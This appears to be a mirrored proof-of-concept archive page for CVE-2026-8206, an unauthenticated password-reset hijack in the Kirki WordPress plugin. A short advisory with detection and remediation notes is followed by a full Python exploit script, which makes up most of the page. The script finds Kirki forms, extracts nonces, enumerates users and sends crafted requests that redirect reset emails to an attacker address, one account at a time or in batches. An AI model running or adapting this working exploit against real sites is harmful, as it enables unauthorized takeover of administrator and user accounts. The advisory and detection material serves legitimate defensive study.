PoC Archive PoC Archive
Critical CVE-2026-8206 unpatched

Kirki WordPress Plugin Password-Reset Hijack Leading to Account Takeover (CVE-2026-8206)

by izxci · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-8206
Category
web
Affected product
Kirki (WordPress Customizer framework plugin) — CompLibFormHandler REST API endpoint
Affected versions
Not specified in source
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / Researcherizxci
CVE / AdvisoryCVE-2026-8206
Categoryweb
SeverityCritical
CVSS Score9.8 (per exploit script header)
StatusPoC
Tagswordpress, kirki, account-takeover, password-reset-hijack, unauthenticated, rest-api
RelatedN/A

Affected Target

FieldValue
Software / SystemKirki (WordPress Customizer framework plugin) — CompLibFormHandler REST API endpoint
Versions AffectedNot specified in source
Language / PlatformPHP / WordPress
Authentication RequiredNo
Network Access RequiredYes

Summary

The Kirki plugin’s CompLibFormHandler REST API endpoint, used by a Kirki-rendered “forgot password” form, does not properly bind the password-reset request to the account that initiated it. This allows an unauthenticated attacker to redirect the password-reset email/notification for an arbitrary registered WordPress user to an attacker-controlled email address, letting the attacker complete the reset flow and take over the account — without ever needing the victim’s original credentials.


Vulnerability Details

Root Cause

Insufficient validation in the CompLibFormHandler endpoint allows the destination of a password-reset notification to be attacker-influenced rather than strictly tied to the account owner’s registered email, enabling a redirect of the reset flow.

Attack Vector

  1. Locate a Kirki-rendered forgot-password form on the target WordPress site (the PoC scans common paths such as /login/, /forgot-password/, /wp-login.php, etc.).
  2. Submit a password-reset request through the CompLibFormHandler endpoint for a target username, manipulating the request so the reset notification is delivered to an attacker-controlled address instead of the account’s real email.
  3. Complete the password-reset flow using the attacker-received reset link/token to set a new password for the victim account.
  4. Log in as the victim with the newly set password.

Impact

Unauthenticated account takeover of any registered WordPress user reachable via the vulnerable Kirki form, without needing to know their existing credentials.


Environment / Lab Setup

Target:   WordPress site with the Kirki plugin active and a forgot-password form exposed
Attacker: Any HTTP client (CVE-2026-8206.py provided, using requests + BeautifulSoup)

Proof of Concept

PoC Script

See CVE-2026-8206.py in this folder.

1
2
pip install requests beautifulsoup4
python3 CVE-2026-8206.py

The script scans the target for a Kirki forgot-password form, locates the CompLibFormHandler REST endpoint and any required nonce, then submits a crafted password-reset request to hijack the reset flow for a chosen username.


Detection & Indicators of Compromise

Signs of compromise:

  • Password-reset emails sent to addresses that do not match the account’s on-file email.
  • Unexpected password changes on administrator or high-privilege accounts shortly after a CompLibFormHandler request.
  • Repeated automated requests to Kirki’s forgot-password form/REST endpoint from a single source.

Remediation

ActionDetail
Primary fixUpdate Kirki to a version that strictly binds password-reset notifications to the account’s registered email and validates the request origin/ownership
Interim mitigationDisable or restrict the Kirki forgot-password form until patched; monitor for anomalous password-reset activity

References


Notes

Mirrored from https://github.com/izxci/CVE-2026-8206 on 2026-07-05. Upstream repository README is minimal (title only); technical description above is derived from the exploit script’s docstring and logic.

CVE-2026-8206.py
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#!/usr/bin/env python3
"""
CVE-2026-8206 Kirki Plugin Unauthenticated Account Takeover Exploit
CVSS: 9.8 (Critical)

Unauthenticated attackers can redirect password reset emails to attacker-controlled
addresses by exploiting the CompLibFormHandler REST API endpoint. This allows
complete account takeover of any registered WordPress user without authentication.

Legal Notice: Educational and authorized testing only.
"""

import requests
import re
import sys
import argparse
import time
import json
from urllib.parse import urljoin, quote
from bs4 import BeautifulSoup
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart

class KirkiExploit:
    def __init__(self, target_url, verbose=False):
        self.target_url = target_url.rstrip('/')
        self.verbose = verbose
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
        self.nonce = None
        self.login_page_url = None
        self.api_endpoint = None

    def log(self, message, level="INFO"):
        """Log messages based on verbosity"""
        if self.verbose or level in ["ERROR", "SUCCESS", "CRITICAL"]:
            print(f"[{level}] {message}")

    def find_kirki_forms(self):
        """Scan site for pages with Kirki forgot-password forms"""
        self.log("Scanning for Kirki forgot-password forms...")
        
        common_pages = [
            '/login/',
            '/register/',
            '/forgot-password/',
            '/password-reset/',
            '/account/',
            '/login-page/',
            '/wp-login.php'
        ]
        
        try:
            # Try common paths
            for path in common_pages:
                url = urljoin(self.target_url, path)
                try:
                    resp = self.session.get(url, timeout=10)
                    if 'KirkiComponentLibrary' in resp.text or 'kirki' in resp.text.lower():
                        self.log(f"Found Kirki form at: {url}", "SUCCESS")
                        self.login_page_url = url
                        return True
                except:
                    pass
            
            # Try homepage
            resp = self.session.get(self.target_url, timeout=10)
            if 'KirkiComponentLibrary' in resp.text:
                self.log(f"Found Kirki form at homepage", "SUCCESS")
                self.login_page_url = self.target_url
                return True
            
            self.log("Could not find Kirki forms", "ERROR")
            return False
        
        except Exception as e:
            self.log(f"Error scanning for forms: {e}", "ERROR")
            return False

    def extract_nonce(self, page_url=None):
        """Extract nonce from Kirki component library"""
        self.log("Extracting nonce from page source...")
        
        if not page_url:
            page_url = self.login_page_url or self.target_url
        
        try:
            resp = self.session.get(page_url, timeout=10)
            
            # Look for KirkiComponentLibrary variable
            nonce_patterns = [
                r'"nonce"\s*:\s*"([a-f0-9]+)"',
                r'KirkiComponentLibrary.*?"nonce"\s*:\s*"([a-f0-9]+)"',
                r'"element_nonce"\s*:\s*"([a-f0-9]+)"',
                r'X-WP-Element-Nonce["\']?\s*[=:]\s*["\']([a-f0-9]+)["\']'
            ]
            
            for pattern in nonce_patterns:
                match = re.search(pattern, resp.text, re.DOTALL)
                if match:
                    self.nonce = match.group(1)
                    self.log(f"Nonce extracted: {self.nonce}", "SUCCESS")
                    return True
            
            # Try to find any nonce in the page
            all_nonces = re.findall(r'"nonce"\s*:\s*"([a-f0-9]+)"', resp.text)
            if all_nonces:
                self.nonce = all_nonces[0]
                self.log(f"Nonce extracted (generic): {self.nonce}", "SUCCESS")
                return True
            
            self.log("Could not extract nonce from page", "ERROR")
            return False
        
        except Exception as e:
            self.log(f"Error extracting nonce: {e}", "ERROR")
            return False

    def enumerate_users(self):
        """Enumerate WordPress users"""
        self.log("Enumerating WordPress users...")
        
        users = []
        common_usernames = [
            'admin',
            'administrator',
            'root',
            'user',
            'test',
            'wordpress',
            'wp-admin',
            'webmaster',
            'support',
            'info'
        ]
        
        try:
            # Try REST API user enumeration
            api_url = urljoin(self.target_url, '/wp-json/wp/v2/users')
            resp = self.session.get(api_url, timeout=10)
            
            if resp.status_code == 200:
                try:
                    user_data = resp.json()
                    for user in user_data:
                        users.append({
                            'id': user.get('id'),
                            'username': user.get('slug'),
                            'name': user.get('name')
                        })
                    self.log(f"Found {len(users)} users via REST API", "SUCCESS")
                    return users
                except:
                    pass
            
            # Fallback to common usernames
            self.log(f"Using common usernames for enumeration", "INFO")
            for username in common_usernames:
                users.append({'username': username})
            
            return users
        
        except Exception as e:
            self.log(f"Error enumerating users: {e}")
            return common_usernames

    def exploit_account(self, username, attacker_email):
        """Exploit account takeover via password reset redirect"""
        self.log(f"Attempting to redirect password reset for user: {username}")
        
        if not self.nonce:
            self.log("Missing nonce", "ERROR")
            return False
        
        # Construct REST API endpoint
        api_endpoint = urljoin(
            self.target_url,
            '/wp-json/KirkiComponentLibrary/v1/kirki-forgot-password'
        )
        
        self.log(f"API Endpoint: {api_endpoint}", "INFO")
        
        # Prepare payload
        headers = {
            'Content-Type': 'application/x-www-form-urlencoded',
            'X-WP-Element-Nonce': self.nonce,
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        }
        
        # Email body with reset link chip
        email_body = json.dumps([
            {"type": "chip", "value": "reset_link"},
            {"type": "text", "value": "Click the link above to reset your password."}
        ])
        
        data = {
            'username': username,
            'email': attacker_email,
            'emailSubject': 'Password Reset Request',
            'emailBody': email_body
        }
        
        try:
            self.log(f"Sending exploit request...", "INFO")
            resp = self.session.post(api_endpoint, headers=headers, data=data, timeout=15)
            
            self.log(f"Response Status: {resp.status_code}", "INFO")
            self.log(f"Response Body: {resp.text[:300]}", "INFO")
            
            if resp.status_code == 200:
                response_data = resp.json() if resp.text else {}
                if 'message' in response_data or 'success' in response_data:
                    self.log(f"Password reset email redirected to: {attacker_email}", "SUCCESS")
                    return True
                elif 'error' not in response_data:
                    self.log(f"Request appears successful", "SUCCESS")
                    return True
            
            self.log(f"Exploit may have failed", "ERROR")
            return False
        
        except Exception as e:
            self.log(f"Error sending exploit: {e}", "ERROR")
            return False

    def exploit_multiple_accounts(self, usernames, attacker_email):
        """Exploit multiple accounts"""
        self.log(f"Attempting to exploit {len(usernames)} accounts...")
        
        successful = []
        
        for username in usernames:
            if self.exploit_account(username, attacker_email):
                successful.append(username)
                time.sleep(1)  # Rate limiting
        
        return successful

    def verify_exploit(self, username):
        """Verify if account takeover was successful"""
        self.log(f"Verifying account takeover for: {username}")
        
        # This would require access to the email or checking password reset logs
        # For now, we assume success if the request was accepted
        return True

    def generate_reset_link(self, username, reset_key):
        """Generate password reset link"""
        reset_link = urljoin(
            self.target_url,
            f'/?action=rp&key={reset_key}&login={quote(username)}'
        )
        return reset_link

    def exploit(self, username, attacker_email):
        """Execute full exploit chain"""
        
        print("\n" + "="*70)
        print("CVE-2026-8206 Kirki Plugin Unauthenticated Account Takeover")
        print("="*70 + "\n")
        
        # Step 1: Find Kirki forms
        if not self.find_kirki_forms():
            self.log("Attempting to use provided target URL directly...", "INFO")
            self.login_page_url = self.target_url
        
        # Step 2: Extract nonce
        if not self.extract_nonce():
            return False
        
        # Step 3: Exploit account
        if not self.exploit_account(username, attacker_email):
            return False
        
        print("\n" + "="*70)
        print("EXPLOITATION SUCCESSFUL")
        print("="*70)
        print(f"Target: {self.target_url}")
        print(f"Victim Username: {username}")
        print(f"Attacker Email: {attacker_email}")
        print(f"Password Reset Email Redirected: YES")
        print(f"\nNext Steps:")
        print(f"1. Check email at {attacker_email}")
        print(f"2. Click the password reset link")
        print(f"3. Set a new password")
        print(f"4. Log in as {username}")
        print("="*70 + "\n")
        
        return True


class UserEnumerator:
    """Enumerate WordPress users"""
    
    def __init__(self, target_url, verbose=False):
        self.target_url = target_url.rstrip('/')
        self.verbose = verbose
        self.session = requests.Session()
    
    def enumerate_rest_api(self):
        """Enumerate users via REST API"""
        users = []
        
        try:
            api_url = urljoin(self.target_url, '/wp-json/wp/v2/users')
            resp = self.session.get(api_url, timeout=10)
            
            if resp.status_code == 200:
                user_data = resp.json()
                for user in user_data:
                    users.append({
                        'id': user.get('id'),
                        'username': user.get('slug'),
                        'name': user.get('name'),
                        'link': user.get('link')
                    })
        
        except Exception as e:
            if self.verbose:
                print(f"[ERROR] REST API enumeration failed: {e}")
        
        return users
    
    def enumerate_author_pages(self):
        """Enumerate users via author pages"""
        users = []
        
        try:
            # Try to find author pages
            for i in range(1, 20):
                author_url = urljoin(self.target_url, f'/author/author-{i}/')
                resp = self.session.get(author_url, timeout=5)
                
                if resp.status_code == 200 and 'author' in resp.text.lower():
                    # Extract username from page
                    match = re.search(r'author-(\w+)', resp.url)
                    if match:
                        users.append({'username': match.group(1)})
        
        except:
            pass
        
        return users
    
    def get_all_users(self):
        """Get all enumerated users"""
        users = []
        users.extend(self.enumerate_rest_api())
        users.extend(self.enumerate_author_pages())
        return users


def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-8206 Kirki Plugin Unauthenticated Account Takeover Exploit'
    )
    parser.add_argument('target', help='Target URL (e.g., https://example.com)')
    parser.add_argument('-u', '--username', required=True, help='Target username to takeover')
    parser.add_argument('-e', '--email', required=True, help='Attacker email for reset link')
    parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output')
    parser.add_argument('--enumerate', action='store_true', help='Enumerate WordPress users')
    parser.add_argument('--batch', metavar='FILE', help='Batch exploit from file (one username per line)')
    parser.add_argument('--delay', type=int, default=1, help='Delay between requests (seconds)')
    
    args = parser.parse_args()
    
    # Enumerate users if requested
    if args.enumerate:
        print("[*] Enumerating WordPress users...")
        enumerator = UserEnumerator(args.target, verbose=args.verbose)
        users = enumerator.get_all_users()
        
        print(f"\n[+] Found {len(users)} users:")
        for user in users:
            print(f"    - {user.get('username', 'Unknown')}")
        
        if not args.username or args.username == 'admin':
            print("\nRun exploit with one of these usernames:")
            print(f"  python3 exploit.py {args.target} -u <username> -e {args.email}")
        
        sys.exit(0)
    
    # Batch exploit
    if args.batch:
        print(f"[*] Reading usernames from {args.batch}...")
        with open(args.batch, 'r') as f:
            usernames = [line.strip() for line in f if line.strip()]
        
        exploit = KirkiExploit(args.target, verbose=args.verbose)
        
        # Find forms and extract nonce once
        if not exploit.find_kirki_forms():
            exploit.login_page_url = args.target
        exploit.extract_nonce()
        
        successful = []
        for username in usernames:
            print(f"\n[*] Exploiting {username}...")
            if exploit.exploit_account(username, args.email):
                successful.append(username)
            time.sleep(args.delay)
        
        print(f"\n[+] Successfully exploited {len(successful)} accounts:")
        for username in successful:
            print(f"    - {username}")
        
        sys.exit(0)
    
    # Single exploit
    exploit = KirkiExploit(args.target, verbose=args.verbose)
    success = exploit.exploit(args.username, args.email)
    
    sys.exit(0 if success else 1)


if __name__ == '__main__':
    main()